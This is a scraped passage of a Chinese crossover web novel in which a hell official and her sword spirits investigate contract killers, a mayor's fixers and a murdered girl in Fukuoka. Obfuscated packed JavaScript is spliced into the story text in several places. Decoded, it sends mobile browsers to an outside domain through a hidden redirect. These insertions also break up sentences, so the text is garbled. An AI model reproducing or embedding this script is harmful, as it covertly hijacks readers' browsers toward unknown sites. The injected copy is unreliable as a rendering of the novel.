;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16353005|183324||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着一个靠垫,坐在千祈脚边的楼梯边。 “我这边到没什么特别的,倒是同事提醒了我最近有几起恶劣的伤害女性的案件。” 当时对方自己说这番话的时候瑟瑟发抖的样子,她最终没忍住,让药研悄悄护送对方回家。 五虎退抱紧了怀里的大虎,脸上写满了担忧,“主、主人……您一定要小心!我,我让大虎跟着你吧!” 千祈看着他们如临大敌的样子,心里一暖,笑了笑:“好,我会小心的。谢谢你们。青江,你那边呢?” “幽灵小姐问了附近几个妖小怪,说是最近偶尔能感觉到一股非常强大,但转瞬即逝的气息出现,位置不固定。”他黄绿色的眼眸里闪过一丝可惜,“可惜了,没能锁定具体位置。” 大概是在几个月前,福冈地区出现过一股驳杂的妖怪气息,可能是一个、也可能是很多个。那段时间小妖怪们被吓得不敢出门,也无从了解具体情况。 “妖怪参与作案吗……”千祈沉思,脑中想过数种可能,“不排除这种推断,继续观测吧,青江。” “自然。” 到了学校组这边,三个小可爱互相看了看。物吉贞宗作为代表开口:“学校里的确有一些长期滞留的亡者灵魂,大多是因为执念不深,会习惯性在附近徘徊。我们今天试着接触了几个,他们都没有什么特别的感知力,接触的人也全是看不见他们的学生和老师。” 五虎退小声补充:“……他们、他们只是很寂寞,想找人说话……不坏的。” 有几个还很好心地教会他们怎么折纸,所以让接引科的茶吉尼天大人来接走他们就可以了,希望到时候来的接引科狱卒们能温柔对待他们。。 包丁最后摊手总结到:“所以学校那边暂时没什么特别的线索。啊,不过人类学校的数学题绝对是另一种恶魔!” 真搞不懂为什么要学这个!这种东西就该让药研哥来学,药研哥肯定学得会。 最好是能和药研哥换一下,她跟在主人身边,嘿嘿。 千祈哈哈笑了一会,最后不得不摸摸头安慰包丁,这才把对方那软乎乎的包子脸消下去。 “小光,你那边呢”安抚完包丁后,千祈望着厨房方向。 众人目光投向烛台切光忠。 烛台切光忠将擦手的毛巾搭好,走了过来。他从居酒屋制服的口袋里摸出一张白色名片,放在了茶几上。 “今天下班前,确实发生了一件有点奇怪的事。”他开口,声音低沉,“一位到店里的熟客,看了我处理食材的手法后大加赞赏了我一番。”烛台切讲述着。 “然后,他留下了这个。”他用手指点了点那张古怪的名片,继续说,“对方说如果对更专业的用刀领域感兴趣的话,回家用打火机火焰烤一下背面看看。” 灵力线自千祈身上延申,白色名片在众人的目光下悬浮,一抹极细黑色的火焰凑近名片,在高温的炙烤下呈现出红底黑字。 “Murder——”包丁凑近,用为数不多学过的英文念出上面写的单词。 药研接过话,剩下的单词可不是弟弟能理解的了。 “杀手有限公司?” 这么规范的吗, 杀手都能成为正经职员了? 12.第 12 章 你见过凌晨四点的福冈吗? 千祈已经连续八九天见过了,甚至无缝衔接地狱的事务。 晚上在以据点为圆心,附近几公里内的范围插下时之政府特供的传送锚点,排查周围可能存在的时间溯行军;白天摇身一变成为某株式会社的职员,勤勤恳恳为公司贡献自己的力量。 公司的科长根本不知道她填写的报表下压着的是本丸远征报告还是地狱公文。 抽空回地狱给鬼灯汇报情况的时候,连加班狂人鬼灯都没忍住关心了一番。 【你……要不休息一下吧?】 望着自己刚从时之政府薅过来的好苗子,鬼灯有些担心会不会还没培养好就和记录科的叶鸡头一样疯了。 想到上次去视察记录科时一整个科室人均中毒的样子,他觉得还是得关心一下下属的心理健康比较好。 【没问题,我觉得我离极限三个月还远得很,这点工作量比起在时之政府的时候要少多了】 毕竟那时候可不止需要做文书工作,大部分时候都是千祈前脚给上司补上文书方面的材料,后脚就要带着刀剑去战场上砍几天几夜的时间溯行军。 期间还会因为各种类似于迷路、传送阵失灵的情况绕路,把本来应该是几天就能解决的事情拖成一个月。 【而且最近休息的也还行】有鬼灯这个靠谱上司在,很多时候只是单纯的地狱事务太多,而不是上司添堵,所以她是愿意为了自己的工作加加班的。 鬼灯:…… 阎魔大王:这就是所谓的“上司无能的话,下属就会飞速成长”的具象化吗……啊!鬼灯你为什么要打我?! 鬼灯:抱歉,突然想到了一个无能的上司。 当然,高强度的工作还是很有成效的,千祈和几振刀剑在短时间内多少摸清了这个城市的大致情况。 这个城市不知道为什么,明明是普通的港口城市,却汇聚了不法分子。小小的福冈市内鱼龙混杂,帮派、杀手、非法交易横行。 除了明太子这样的特产外,这里还盛产杀手。 没错,杀手是这个城市的特产之一。真是不得了,由于犯罪蔓延,稍有不慎就会得罪人,杀手在这里的就业率几乎快称得上支柱产业了。 没看见烛台切只是做个饭都能被杀手公司看上并试图挖角吗?当然,千祈觉得对方眼光不错,在一众厨师一眼看上小光这样的用刀高手,还算识货。 犯罪高发的城市,也难怪众和地狱的那个逃犯想要选择这里潇洒。 千祈站在酒店大厅,一心二用,肩膀上站着一只小猫。 【所以说福冈的坏人真的很多喵】 【基本上就是这样的喵~】狸花猫蹭了蹭千祈的脸,即使是灵魂状态也能感觉到柔软的皮毛擦过脖颈时的酥痒。 【不过我有一件事想要麻烦千祈大人地说喵~】 千祈对面前的客户微笑地说道:“那您先休息,明天我们再商谈具体事项。” 待到客人上电梯后,她转过身,不着痕迹地摸了摸小狸花的头:“什么?” 【我要是到了天国之后,还可以去地狱喵?】 【我想成为您说的狱卒,在地狱等着仇人】说到仇人的时候,可爱的小梨花露出獠牙,恨不能立刻生吞了仇人。 “当然,”千祈勾起嘴角,“鬼灯大人正发愁狱卒不够的问题,你去自荐的话他一定会答应的。” 以眼还眼,以牙还牙,鬼灯大人说不定还很欣赏这份怨恨。 【太好了喵,之后也能继续见到千祈大人了喵!】猫猫开心地喵喵,猫猫还打起了呼噜。 接待完客人正打算回公司,千祈手机的消息提示响起: 【一张新的名片】【图片.JPG】 她低头正要回复,脸颊却被柔软的肉垫轻轻拍了拍。 【千祈大人、千祈大人!】小猫的声音带着一丝急促,它抬起前爪,指向大厅入口方向。 【那边那两个人……他们身上,有杀掉我的那个凶手的气息!】 ** 城市另一边,名为齐藤卓也的男人愁眉苦恼地从酒店浴室出来,顶着浴巾一头砸在床上。 “怎么办呢……要不把钱还回去算了吧。” 今天的经历可谓一波三折。先不说几年前懵懵懂懂进了杀手公司,已经够离谱了;这次又被外派到福冈这种看起来繁荣实际上稍有不慎就得罪人的地方执行刺杀任务。潜伏在目标家中等待时机的期间,没想到竟被复仇屋的人认错、当场绑走。 还好复仇屋的次郎先生是个讲原则的人,不然他这条命恐怕早就没了。更出乎意料的是,最后任务目标居然莫名其妙遭遇车祸身亡 ——而且竟然还真的拿到了一笔酬金。 齐藤卓也心不在焉地想着,打开电脑查询账户。 思来想去,第一次任务就差点命丧途中,他好像真的不太适合当杀手呢,果然还是把钱…… “多少?!” 一串数不清的零出现在账户中,立刻被金钱冲昏头脑的齐藤卓也二话不说关上电脑,冲去银行取钱。 -- “哇哈——很久没能这样舒坦地喝酒了。”豪饮一口酒,齐藤卓也醉醺醺地和一旁配菜的厨师搭话。 “是么,那就好好享受美食吧。”独眼的厨师手很稳,快而精准地处理干净食材,将一小份牛排端给齐藤。 对方的刀法很好,醉醺醺的齐藤不知怎的觉得他一定很适合去当杀手,掏出名片递给厨师:“我觉得你一定很适合这个,嗝……在这里,嗝,当厨师……委屈你了。” 一口吃下最后的小牛排,他摇摇晃晃走出居酒屋,留下拿着名片的厨师。 简单的名片上写着某个酒吧和联系电话。很显然,这位客人觉得以他现在的气质说不定很适合当酒保。 “这个……要怎么办呢?”厨师金色的眸子困扰地看着名片,这已经是这个月第二个劝他改行的客人了。 “嗯?”刚刚处理过牛排,手上略微高的温度在名片上留下一个红色的指印。 这是—— ** “这个男人是谁?”灰发男人熟练地把箱子里的尸体抱起来放床上,顺口问了一嘴朝仓丽子。 高马尾,穿着打扮都和公关店女孩一样的棕发女人说道:“驾照上写的是‘伊藤卓也’,看他醉醺醺的不是很清醒的样子,就拉过来当替罪羊了。” 说完望着床上的女孩,遍体鳞伤的模样让这个平日里下手狠辣的杀手都忍不住 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16367606|183324||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 唾弃。 “切,那个人渣,烂到极点了。” 到底要为那个市长的人渣儿子善后几次? 朝仓丽子闭上眼睛,收起杂乱的心绪。 “把他犯下的案子全部推到这个人身上,走吧。”做好诬陷的准备工作后,她叫上身旁的男人,一同离开这间屋子。 待到两人出门后,房间陷入寂静。空气中隐约泛起一阵细微的波动,如同水纹般轻轻荡漾开来。 ** 福冈,某个市中心网咖。 马场善治推开网吧大门,找到某个包间。 “哟,榎田。能帮我查一下这个人吗?”马场善治点开手机相册一个长发女子的照片,金发,对方睡得很沉。很明显,这是趁着对方睡着后拍下的。 榎田瞥了一眼,轻笑: “是他啊,我前脚才接到大和的委托查他的信息,没想到现在你也来拜托我查。” 他接着解释:“大和这次惹上了麻烦——在街上顺手摸人钱包,却反被对方以性骚扰为由揍了一拳。” 他们说的大和是一名牛郎,但是每天无所事事就喜欢在市中心乱逛,顺手从路人身上拿些东西。常说夜路走多了总会被绊倒,这次便遇上了硬茬。 “这样吗,哈哈哈哈,那家伙还是老样子,”随即表情认真起来“前几天我接到一个委托,需要我调查在一个在会所Mirror和福冈市长交谈的男人。” 他眼神晦涩,语气沉了沉:“而上一个调查这件事的警官已经因为被仇家寻仇而死。” 而昨天当他回到侦探事务所时,这位美丽的“杀手小姐”找上门来,宣称有人要买下他的性命。 不过,这位杀手因为被拖欠工资,目前暂住事务所罢工中。对方甚至扬言要教训每一个来接单的业余同行。 “又接麻烦的委托了呢,马场君。” “是他吧,林君?” 说话间榎田已经调出资料,电脑上显示着名为林宪明的男子的信息。 “我没查出他的其他信息,不过从资料来看,可能是在给□□做事,大概率就是打算把你灭口的那个。” 榎田又调出另一张照片。照片上显示着福冈市长和一个身份不明的男子会面,福冈市长身边站着一名棕发女子,应该是秘书之类的。 “这样就条理清晰了呢。”榎田笑道。 “市长在背后有靠山的店里与人密谈,察觉到警官调查后派出杀手清理,而你在这个时候又撞上门去调查。” “假如我是对方,的确会先下手为强呢。” 然后幸运地遇上罢工的杀手小姐,啊不,杀手先生。 榎田想到什么,将一个粉色的钱包丢给马场。 “给,这是大和从林君身上摸出来的,记得提醒他这种东西得保存好,里面很多东西能推断出信息的。” 马场善治打开钱包,里面夹着几张小票,还有一张照片。 那是一个六七岁的女孩子。 “这是谁?”马场问,看起来是个女孩子,应该不是林君。 榎田忙活着别的事情,眼睛盯着屏幕:“嘛,可能是他的妹妹吧。” 马场善治想到照片里酣睡的某个杀手先生。 妹妹……吗? 13.第 13 章 阳光透过窗帘撒入室内,齐藤卓也从酒店的床上缓缓苏醒。 “这是……哪里?” 昨天……他是怎么过的来着? 好像喝太多了。 细碎的片段在脑海中飘荡,无论如何努力,也拼凑不出完整的画面。 只剩下一些模糊而炫目的碎片:大把挥霍的钞票、烈酒灼烧喉咙的感觉、震耳欲聋的音乐、还有……一些衣着暴露的小姐姐? 他身体一歪,重新倒回床上,试图让尚未完全启动的大脑恢复运转。 醉宿的反应后知后觉地出现,早知道就不喝那么多酒了,头好痛,身体也很重。 不过想到能够拿到那么一笔从前完全不敢幻想的钱,齐藤还是忍不住笑出声。 “嘿嘿,没想到都不用我动手就能拿到钱,真好啊,”他抬手,试图将双手枕在头下。 就在这时,他的手肘无意间碰到了一个冰冷而坚硬的东西。 “什么?”他下意识转身—— 白衣红瞳的幽灵女鬼,正静默地望着他,几乎与他面贴面。 一瞬间,心率飙升,尖叫试图突破喉咙喷涌而出,却被什么东西堵住嘴一般叫不出来。齐藤卓也只能手脚并用地乱爬,甚至一度把自己绊倒。 “好啦,青江、幽子,小小的惩罚就可以了。”一个女子声音从房间左侧传来。 循声望去,只见一位身着剪裁利落职业西装的年轻女性正站在不远处,双臂环抱,唇角含着一丝若有若无的笑意。 他嘴巴一松,异物堵住喉咙的感觉消失,却仍旧不敢出声,只能大口呼吸,僵硬地看着对方走近。 “你好,齐藤先生,”她语气平稳,一副公事公办的样子,“我是千祈,地狱方面的公务人员,有些事情需要了解一下。” 齐藤卓也愣了两秒,瘫软在地。 地狱……哈哈,原来如此,不是遇上了鬼,而是已经死了吗。 “先生?这位先生?”千祈叫了叫齐藤卓也,没有得到半分回应。 笑面青江从床上坐起,甲胄在动作时发出声音。 抬头望着如同气球一样越升越高的灵魂,笑面青江好心提醒: “主人,是不是该用灵力给他拉回来,看起来魂好像吓出身体了呢。” ** “人和尸体都不见了?” 独眼的灰发男子——也就是宗方,此时的声音中带着意外和不解。手指划过平板电脑的屏幕,上面显示着福冈本地的新闻门户网站。 【没错,我昨天和宗方你一起把人放在酒店的床上的,那个醉汉如果起床发现有死者躺在身边,一定会逃跑或者报警。】电话那头,丽子的声音透过手机传来,同样带着凝重。 宗方翻看着最近的新闻,市长选举的标题依旧挂在首页,社会版块风平浪静,没有任何关于酒店发现不明女性尸体的报道,甚至连一条相关的意外新闻都没有。 【失策了,随便选的替罪羊身份似乎不简单。】丽子继续说道,透着一丝焦头烂额的烦躁。 市长选举正是关键期,作为市长雇佣的保镖兼善后团队,消失的人和尸体对他们很不利。 都怪那个不成器的变态儿子,如果不是非要玩这么大,就不用处理这些事情了。 “暂时不要轻举妄动,我先确认伊万诺夫那边结束了没有。”宗方沉声道,挂断了和丽子的通话。 他需要确保另一边没出问题。手指在屏幕上滑动,找到了那个号码,拨了出去。 …… “嘟……嘟……” 电话铃声响了很久都没人接听,正当宗方打算挂掉时,那边终于接听了电话。 “怎么,做掉他了吗,伊万诺夫?”宗方问道。 早些时候他嘱咐伊万诺夫去一趟华九会保护负责人——张。 据说有个杀手小鬼会上门寻仇。 那个杀手更偏向近身用刀刺杀,作为市长的合作方,对方还提供了给市长的儿子消遣的女人,这点小忙还是能帮上的。 【喂……】那边传来的声音略微低沉,仔细听还带着颤音。 【嗯,做掉了。】 宗方沉默了几秒,心中的不祥预感迅速放大,声音冷了下来:“你是谁,伊万诺夫呢?” 用语言拖住对方,宗方另一只手将伊万诺夫的手机定位发送。 电话那头传来一声低低的、带着明显痛楚和嘲弄的轻笑。 【呵,那个大块头啊……】声音断断续续,却透着一股狠劲,【当然是被我……做掉了】 “……张手下的那个小鬼?” 【……人渣……】电话那头的骂声虚弱却咬牙切齿,印证了宗方的猜测。 ** 林宪明捂着腰侧,面前仰面倒下的金发魁梧外国人脑门上留有直径很小的圆孔,正从里面冒出血液。 他缓缓贴着办公桌坐在地上,对着电话那边的人嘲讽。 “哈,这点……本事……就来当杀手。” 【你现在受伤了吧,估计也跑不动。等着。】对方似乎意识到他受伤无法行动,正朝着这里赶来。 “可恶。”腰侧的伤口处冒出血液,剧烈的疼痛和失血让他的意识开始模糊,妹妹被人糟蹋的恨意在杀了那些小喽啰和这个大块头后丝毫未减。华九会的负责人那嚣张的声音在脑海里浮现: [你还不知道吧,在你离家不久后你母亲就死了。每个月你打回去的钱都在我这里呢。哈哈哈哈——] [你妹妹长得还不错,之前还打算弄到店里面当个店员。不过呢,正好前几天有个客人,口味比较特别,就喜欢玩这种的,我们就和对方做了笔交易,免费送过去了。] 张的声音恶毒得像毒蛇。 [怎么样,是不是很后悔,要是你乖乖听话,说不定就能上演重逢的感人戏码了。] 白白昧下他这十多年的寄回家的钱,还大言不惭地说重逢。 当初就应该找个机会把他们全杀了。 侨梅……头晕乎乎的,林宪明试图站起来,却因为失血过多没有力气。 “哟,林酱,这么狼狈可不像你啊。” 熟悉的声音,林宪明抬头望去,马场善治顶着一头翘起的头发出现在门口,仿佛只是出来逛街一般。 这个让人捉摸不透的男人伸手摸了摸他被长发遮住的衣领后,一个蜘蛛型的定位器出现在手上。 将定位器放在外国杀手的领口后,马场善治开朗地笑道: “这样就好了,我们快跑吧,林酱。” ** 地狱……原来就是这样的吗? 面前的几人,不或许不是人类,而是恶鬼。 齐藤卓也眼睛在地面左扫右扫,就是不敢直视房间内别的东西,以及对面银簪盘发,身后跟着女鬼和两个侍从的女人。 怎么办,在继成为杀手并差点被复仇屋当成暗杀目标干掉之后,自己最终还是因为过度放纵招惹上了什么人被杀掉了吗? 福冈这个地方也太可怕了,下辈子他投胎一定离福冈远远的!
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16377411|183324||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 胡思乱想被女子打断,面前自称地狱公职人员的千祈不知从什么地方拿出一打资料,像平常警察局调查案件做笔录的警察一样问道: “姓名” “齐藤卓也” “伊藤卓也是假名?” “是。” “职业” “杀、杀手?之前是棒球队员。” “杀过人吗?” “没、没有!差一点点!” “那算什么杀手?”千祈疑惑,但转念一想觉得也对,哪有杀手会喝的烂醉差点被人栽赃陷害。 “我也不知道!但是我真的没杀过人!”齐藤卓也欲哭无泪,不但没杀过人,还差点在作案途中被害,果然这个职业不适合自己。 “你之前在哪里当杀手的?” “Murder Inc” 千祈不动神色记录着,笑面青江挑了挑眉。 Murder Inc,翻译过来就是杀手有限公司,是福冈一个很有名的杀手组织。当然,对外宣称是【红色朗姆酒有限公司】。 烛台切之前收到的名片就来自这个公司。 “任务对象是谁?” “一个叫村濑纯的人,他的房东觉得他很扰民,就在公司下单杀了他。” 千祈:…… 一时间不知道是应该吐槽为什么这个房东那么熟练,还是吐槽为什么这个城市买凶杀人会那么普及。 “最后为什么没成功?据显示这个村濑前几天就死于车祸,难道是巧合吗?” 说起这个齐藤卓也同样觉得奇怪。 “那天,我本来想要潜伏在他家里面,没想到正好遇上了复仇屋的人。” 村濑那家伙不单扰民,还喜欢虐待和打人,受害者找到了福冈专门接复仇单子的复仇屋,请求他们帮自己出一口恶气。 于是潜伏在村濑家的齐藤被复仇屋错认绑走。 “好在次郎先生很讲道理,发现找错人了便把我放回来了。”还好他随身携带公司的名片,这才解除误会。 千祈写着记录,啧啧称奇。看吧,这就是福冈,不单杀手公司会从各行各业挖掘人才,连滴滴代打都如此讲武德。 齐藤卓也继续讲述自己的遭遇。 等到他开着车去找村濑的时候,发现对方莫名其妙地出了车祸。为此他还专门打电话问了复仇屋的次郎先生是不是对方下的手。 “复仇屋的次郎先生否认了这件事,他们还以为是我做的。”齐藤蔫蔫地说,他哪有胆子和能力炸人啊,单是看见血就吓得不行。 “之后就是昨天公司以为我办成了事情,给了我一大笔钱。” 第一次见到那么多钱,被金钱和酒精冲昏了头脑,喝完酒以后似乎被人拉着去了好几个带颜色的酒吧,最后稀里糊涂地被带去酒店。 写下最后一笔,千祈合上手中的记录本,动作利落。她站起身,微微整理了一下久坐后有些乱的衣襟。她身旁那位一头长发、穿着护甲,腰佩武士刀的男士贴心为千祈披上外套。而之前出现过的女鬼不知道什么时候消失了。 “那么,地狱方面非常感谢您的合作,”精英模样的小姐露出一个微笑,“还有最后一件事需要麻烦您配合。” 齐藤眼皮一跳,要来了吗?要走向地狱的深渊了吗? 千祈从外套内兜里拿出一张名片,随手一抖,那张名片转为红色,上面正写着“复仇屋”几个字。 “请您带路,我们需要去拜访一下这位——复仇屋的次郎先生。” 14.第 14 章 【复仇屋】所在的位置离他们出发的地方不远,昨天齐藤被绑走后就是从那里被放出来的,多少也记得路。 前往复仇屋的路上,齐藤总是忍不住地望向千祈。 这位来自地狱的千祈小姐其实并没有想象中的地狱恶鬼那么可怕,除去她身边那位男子一开始放幽灵吓唬他这件事,自始至终对方的态度和普通的公职人员一样,疏离且礼貌。 不过千祈小姐确实很好看,外貌肯定是无可指摘的昳丽,白皙的皮肤,乌黑的中长发被那根素雅的银簪一丝不苟地束在脑后,几缕碎发垂在颊边,举止也十分得体优雅。 和旁边的这位帅气小哥一起,不像同事,更像是大小姐和忠心的侍从。 说起来,好像这位叫过对方“主人”?齐藤卓也突然想到在这位小姐询问自己的时候对方曾叫过这样的称呼。 地狱也有极道和世家类似的关系吗? 他忍不住悄悄观察起身侧的青江。对方嘴角总噙着一抹若有似无的笑意,无论是精致俊美的外貌还是挺拔修长的身材都能称得上是顶级帅哥,走在街上绝对会引起超高回头率的那种。 特别是他身上的佩刀。 齐藤的视线不由自主地落在笑面青江左侧腰间的佩刀上。刀拵古朴,明明敛在鞘中,却无端让人感到一股锋锐的寒意,总觉得那不是一件装饰品,而是真正饮过血的凶器。 或许是感受到视线,身侧的笑面青江转过头,那双黄绿色的眼眸捕捉到了齐藤偷偷打量的目光,眼底的笑意似乎加深了些。 “嗯?”笑面青江的尾音微微上扬,“齐藤先生对我的刀很感兴趣吗?” “啊!不、不是!对不起!”齐藤像是被烫到一样猛地收回视线,连连摆手,差点同手同脚,“我只是……只是觉得很好看!对!很好看!” 笑面青江轻笑出声,手指随意地搭在刀柄上,轻轻摩挲了一下:“是吗?谢谢夸奖。不过,它可不是用来观赏的哦。” 齐藤感觉背后一凉,脸色白了几分,赶紧快走两步,几乎要贴到千祈另一边去,再也不敢乱看。 为了缓解齐藤的紧张,千祈侧头,对齐藤笑了笑:“齐藤先生别紧张,这次找你并非你犯了什么大错,只是地狱跑了几名亡者,需要追捕归案。” “这样……”齐藤点点头,“既然真的有地狱,那天国是不是也存在?” “没错哦,做了坏事就要做好死后被惩罚的准备,没有做过坏事、甚至做过好事的人就可以上天堂。” 她热心对齐藤科普道:“就拿齐藤你昨天醉宿的事情来说,假如你喝醉以后跑去骚扰别人,或者大闹一场,对他人造成伤害和困扰的话,就会被打入大叫唤地狱哦。” “那可是每天都逼着你喝酒的地方呢。” 说起这个,据说一开始大叫唤地狱确实是禁酒的地狱,后来八岐大蛇把酒带进去,结果那些酒鬼一窝蜂地抢了酒坛子,肆意喝酒狂欢,场面一度失控。后来鬼灯大人为了整治这些酒鬼,就大量购入酒,把大叫唤地狱改造成了强迫酒鬼喝应酬酒的地方了。 齐藤呆愣,他毕业后就进入职业棒球队,喝酒也都是为了庆祝:“听起来好像也不是很难受,对于酒鬼来说不是很开心吗?” 千祈摇摇手指,一副年轻人你不懂的表情。 “再热爱的爱好,变成一项强制性的工作就会变得讨厌呢。例如……你本来只是喜欢喝酒,但是联谊或者公司聚餐的时候,要考虑到座次、给上司添酒、还要听着上司讲大道理或者炫耀什么东西。” “而且被上司拉着喝酒,哪怕很难受了也要继续喝。” 不喝还会被办成上司的狱卒殴打。 齐藤顿时开悟,感叹道:“确实是很严格的惩罚呢。” 喝酒发疯都要被这样严厉地处理,那杀人、抢劫之类很严重的事情呢? 大概是他的表情出卖了什么,千祈露出意味深长的笑容:“不过,恕我多管闲事,齐藤前辈的工作最好辞了吧,不然日后相见就只能在地狱了呢。” “是、是!我明白了!”齐藤忙不迭地回答,完全不敢细思对方那抹笑容的意义。 ** 【Bar.Babylon】 对于普通人来说,这只是一家位于福冈中洲一丁目,丸源大楼二楼尽头的普通酒吧。 但对于懂行的人来说,这里是【复仇屋】,一个专门为想要报复他人而无能为力的人提供复仇服务的地方。传闻只要付出相应的代价,就能在这里得到“以牙还牙,以眼还眼”的复仇服务。 酒吧门口挂着显示不营业的牌子,不过门并未上锁。内部光线还算明亮,吧台和后架酒柜上方亮着几盏暖黄色的射灯,空气中弥漫着淡淡的酒精、清洁剂和一丝若有若无的咖啡混合的气息。 一只通体漆黑的猫咪盘着尾巴,蜷缩在柜台一角的高脚凳软垫上,睡得正香,小小的身体随着呼吸轻轻起伏。 吧台前的餐桌旁,坐着一个约莫六七岁的金发小女孩,头发被仔细地扎成两个乖巧的辫子。她低着头,全神贯注地在一本厚厚的涂画本上涂涂画画,彩色蜡笔在她手下的纸上发出轻微的沙沙声。 “叮铃——” 是客人推门而入时门铃的提示声音。 “对不起哦,我们还在准备中,要晚上才开始营业呢。”次郎下意识地说道,停下擦杯子的手,抬头看向门口。 齐藤卓也有些不好意思地干笑着探进身来,朝吧台后的次郎和餐桌旁的小女孩挥了挥手。 “哈哈,次郎先生,还有美咲。又见面了。” 跟在他身后,千祈和笑面青江也一前一后缓步走了进来。 次郎看了看齐藤身后,惊讶地问道:“齐藤,你怎么来了?还有这两位……” 千祈闻言,微笑着主动打招呼:“冒昧打扰,我是千祈。这位是我的家人,名叫笑面青江。叫我们千祈和青江就好了。” 青江微笑望向次郎,鞠了一躬后退回千祈身后半步的地方。这一特殊的站位让次郎有些在意,但他是个聪明人,对客人的隐私不会刻意打探。 “好的,几位结伴到这里,是有什么委托吗?”次郎歪头,眉眼弯起,“总不会是这个时间来这里喝酒的吧?” “事实上,我这里有一份来自地狱的委托,想要拜托次郎先生您的【复仇屋】进行调查。”千祈拿出一份名片和照片展示给次郎。 名片是的复仇屋的,而照片上则是一名年轻的女孩子,大约十八岁,笑的很可爱。 “呀,真是可爱的孩子呢,所以是要调查她吗?”次郎将照片转过,展示给众人。 “是个年轻的女孩子呢,她做了什么吗,需要找上复仇屋?”齐藤也很好奇,从醒来到来复仇屋这段时间中,出于对灵异存在的惧怕,他一直没敢询问千祈到底想干什么, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16389232|183324||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 只知道地狱跑了亡者。 难不成这个女孩就是需要寻找的亡者? 千祈点点头,又摇头。她垂目望着照片中的女孩,语气中带着一丝复杂的情绪。 “这孩子是委托人,她来寻找他的哥哥。” 次郎有些烦恼:“唔……复仇屋可不是情报处,能说说为什么吗? “而且……” 次郎的眼睛扫过千祈和身后的笑面青江。 “复仇屋可不是什么乱七八糟的委托都愿意接。总要给点理由吧,不然和隔壁【Murder Inc】的杀手没区别了呢。” 千祈自然知道,这就是她找上复仇屋的原因。本丸的刀剑一水的都是武力极佳的好手,但在整个福冈甚至霓虹找一个不知道外貌、身高、职业,仅仅知晓名字的大活人还是有些难为那些百年甚至千年老刃了。 地狱方面也不是没问过,不过很可惜,对方不是霓虹人,不在地狱收管的系统内。如果走流程去隔壁种花家调取资料又需要很长的时间。 想来想去只能找现世的人类解决了。 想到这里,千祈坦白道: “委托人已经被害,凶手和前段时间女性遇袭案的凶手是同一个人。” “说起来之前的新闻上确实有相关报道。”齐藤卓也猛然想起来福冈时,新闻上几乎都是关于福冈□□的案件,其中一个板块就刊载过女性遇袭案。 千祈还在平静地继续诉说着女孩的信息:“凶手托人将她的尸体处理掉,不过幸运的是,在处理过程中正好被我们注意到,于是我们一路跟随,找到了齐藤先生的房间。” “嗯嗯。”齐藤点头,原来如此…… “嗯?我的房间?!可是我醒来后并没有发现尸体啊。” 难道说—— 千祈从衣服口袋里拿出另外一张照片,虽然被褥遮盖了身体的大部分区域,仅从胳膊之类的地方也能看出受害者生前遭受了怎样的对待。 “没错,职业原因,我们能够看到常人无法观测到的东西。灵魂,死亡的气息之类的。也是因为这个原因,一直暗中跟随到了齐藤的房间。” 当然,尸体也被她带走了。 “齐藤,你还好吗?”次郎看向背景色已经灰白的齐藤卓也。 齐藤冷汗直冒,声音发颤:“还、还好……”见识过对方超常力量的他对千祈的话深信不疑。一想到自己竟与死者同宿一夜,还险些成为全国通缉的杀人犯,他的大脑一片空白。 次郎微微皱眉,对灵异能力的说法仍心存疑虑:“能看到灵魂?这种说法确实有些……” 有些故弄玄虚的嫌疑了。 千祈看向青江,轻轻点头。 青江会意,上前一步。他右眼的瞳色悄然变化,眼瞳褪去红色,显露出原本的黄绿色,细看之下隐约浮现出如蛇类般的竖瞳。 幽灵小姐悄然浮现在众人面前,先向千祈鞠了一躬,又朝众人点点头。 千祈向幽灵小姐伸出手,对方乖乖地把手搭上,飘到千祈身边。齐藤见状悄悄往旁边挪了挪身子。 次郎默默揽过一直在旁边不出声的美咲,轻叹一声:“我明白了。”他看向千祈,“这个委托,复仇屋接下了。” “那么,那位小姐寻找的哥哥叫什么?” 千祈垂眸,轻声说出照片中女子一直以来寻找的名字: “林宪明。” 15.第 15 章 向复仇屋下单寻人之后,千祈也打算告辞回家。 